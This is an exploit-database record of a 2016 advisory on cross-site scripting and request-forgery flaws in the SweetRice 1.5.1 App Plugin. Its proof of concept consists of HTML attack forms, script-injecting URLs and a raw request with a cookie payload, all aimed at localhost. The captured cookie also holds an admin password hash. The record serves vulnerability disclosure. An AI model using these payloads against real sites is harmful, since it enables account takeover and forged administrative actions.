ID PACKETSTORM:139590
Type packetstorm
Reporter Ashiyane Digital Security Team
Modified 2016-11-07T00:00:00
Description
`<!--
Title: SweetRice App Plugin - Multiple XSS / CSRF
Application: App Plugin
Versions Affected: 1.0
Vendor URL: http://www.basic-cms.org/
Software URL: http://www.basic-cms.org/attachment/sweetrice-1.5.1.zip
Discovered by: Ashiyane Digital Security Team
Bugs: CSRF & XSS
Date: 17-Sept-2016
Proof of Concept :
1. Stored Xss in Custom App URL:
Vulnerable Parameter : url[home]
-->
<form method="post"
action="http://localhost/as/?app_mode=links&plugin=App&type=plugin">
<input type="text" name="url[home]"
value='"><script>alert(1)</script>'>
<input type="hidden" name="lids[home]" value="1">
<input type="submit" value="Done">
</form>
<!--
2. Xss in search:
http://localhost/1/as/?type=plugin&plugin=App&app_mode=database&keyword="><script>alert(1)</script>
3. Xss in Page Limit:
Payload should inject in cookies.
Vulnerable Parameter : page_limit
Headers :
GET /as/?app_mode=database&plugin=App&type=plugin& HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:49.0) Gecko/20100101
Firefox/49.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost/1/as/?app_mode=database&plugin=App&type=plugin&
Cookie: dashboad_bg=#3f0840; page_limit="><script>alert(1)</script>;
admin=admin; passwd=5f4dcc3b5aa765d61d8327deb882cf99; lang=en-us;
__atuvc=15|41;
grav-tabs-state={"tab-content.options.advanced":"data.content"};
sweetrice=5h30gqavosudpnferatlh9oca4
Connection: keep-alive
Upgrade-Insecure-Requests: 1
4. Stored Xss and Csrf In Create Form:
-->
<form method="post"
action="http://localhost/1/as/?type=plugin&plugin=App&app_mode=form&mode=insert">
<input type="hidden" name="id" value="">
<input type="hidden" id="name" name="name"
value='<script>alert(1)</script>'>
<input type="hidden" id="action" name="action"
value='<script>alert(2)</script>'>
<input type="submit" value="Done">
</form>
<!--
5. Xss in Search:
http://localhost/1/as/?type=plugin&plugin=App&app_mode=form&search="><script>alert(1)</script>
-->
`
{"id": "PACKETSTORM:139590", "bulletinFamily": "exploit", "cvss": {"vector": "NONE", "score": 0.0}, "published": "2016-11-07T00:00:00", "hash": "a48eb7d7c46d835fe0dd547e85b9a3a0312c1630d09d1b42165220e319c58426", "cvelist": [], "sourceData": "`<!-- \nTitle: SweetRice App Plugin - Multiple XSS / CSRF \nApplication: App Plugin \nVersions Affected: 1.0 \nVendor URL: http://www.basic-cms.org/ \nSoftware URL: http://www.basic-cms.org/attachment/sweetrice-1.5.1.zip \nDiscovered by: Ashiyane Digital Security Team \nBugs: CSRF & XSS \nDate: 17-Sept-2016 \n \nProof of Concept : \n \n1. Stored Xss in Custom App URL: \nVulnerable Parameter : url[home] \n--> \n<form method=\"post\" \naction=\"http://localhost/as/?app_mode=links&plugin=App&type=plugin\"> \n<input type=\"text\" name=\"url[home]\" \nvalue='\"><script>alert(1)</script>'> \n<input type=\"hidden\" name=\"lids[home]\" value=\"1\"> \n<input type=\"submit\" value=\"Done\"> \n</form> \n<!-- \n2. Xss in search: \nhttp://localhost/1/as/?type=plugin&plugin=App&app_mode=database&keyword=\"><script>alert(1)</script> \n \n3. Xss in Page Limit: \nPayload should inject in cookies. \nVulnerable Parameter : page_limit \nHeaders : \n \nGET /as/?app_mode=database&plugin=App&type=plugin& HTTP/1.1 \nHost: localhost \nUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:49.0) Gecko/20100101 \nFirefox/49.0 \nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 \nAccept-Language: en-US,en;q=0.5 \nAccept-Encoding: gzip, deflate \nReferer: http://localhost/1/as/?app_mode=database&plugin=App&type=plugin& \nCookie: dashboad_bg=#3f0840; page_limit=\"><script>alert(1)</script>; \nadmin=admin; passwd=5f4dcc3b5aa765d61d8327deb882cf99; lang=en-us; \n__atuvc=15|41; \ngrav-tabs-state={\"tab-content.options.advanced\":\"data.content\"}; \nsweetrice=5h30gqavosudpnferatlh9oca4 \nConnection: keep-alive \nUpgrade-Insecure-Requests: 1 \n \n4. Stored Xss and Csrf In Create Form: \n--> \n<form method=\"post\" \naction=\"http://localhost/1/as/?type=plugin&plugin=App&app_mode=form&mode=insert\"> \n<input type=\"hidden\" name=\"id\" value=\"\"> \n<input type=\"hidden\" id=\"name\" name=\"name\" \nvalue='<script>alert(1)</script>'> \n<input type=\"hidden\" id=\"action\" name=\"action\" \nvalue='<script>alert(2)</script>'> \n<input type=\"submit\" value=\"Done\"> \n</form> \n \n<!-- \n5. Xss in Search: \nhttp://localhost/1/as/?type=plugin&plugin=App&app_mode=form&search=\"><script>alert(1)</script> \n--> \n`\n", "hashmap": [{"key": "bulletinFamily", "hash": "708697c63f7eb369319c6523380bdf7a"}, {"key": "cvelist", "hash": "d41d8cd98f00b204e9800998ecf8427e"}, {"key": "cvss", "hash": "d4be9c4fc84262b4f39f89565918568f"}, {"key": "description", "hash": "d41d8cd98f00b204e9800998ecf8427e"}, {"key": "href", "hash": "44ebf51ca8f1851a1a166e8f3aebdb0b"}, {"key": "modified", "hash": "a9f39e265a7e23b149ed8353722ba49b"}, {"key": "objectVersion", "hash": "56765472680401499c79732468ba4340"}, {"key": "published", "hash": "a9f39e265a7e23b149ed8353722ba49b"}, {"key": "references", "hash": "d41d8cd98f00b204e9800998ecf8427e"}, {"key": "reporter", "hash": "7bbeb67b798baae98dc40ca83951389a"}, {"key": "sourceData", "hash": "906809f12fbb10ac629092df5a70f198"}, {"key": "sourceHref", "hash": "ec0aac926656147634f6c5b0d74f8457"}, {"key": "title", "hash": "ed60dc96c1043f3206c8fc9d8a471871"}, {"key": "type", "hash": "6466ca3735f647eeaed965d9e71bd35d"}], "sourceHref": "https://packetstormsecurity.com/files/download/139590/sweetrice151-xssxsrf.txt", "description": "", "edition": 1, "references": [], "history": [], "title": "SweetRice 1.5.1 Cross Site Request Forgery / Cross Site Scripting", "viewCount": 0, "href": "https://packetstormsecurity.com/files/139590/SweetRice-1.5.1-Cross-Site-Request-Forgery-Cross-Site-Scripting.html", "reporter": "Ashiyane Digital Security Team", "modified": "2016-11-07T00:00:00", "lastseen": "2016-11-07T20:47:22", "objectVersion": "1.2", "type": "packetstorm", "enchantments": {"vulnersScore": 1.3}}
{"result": {}}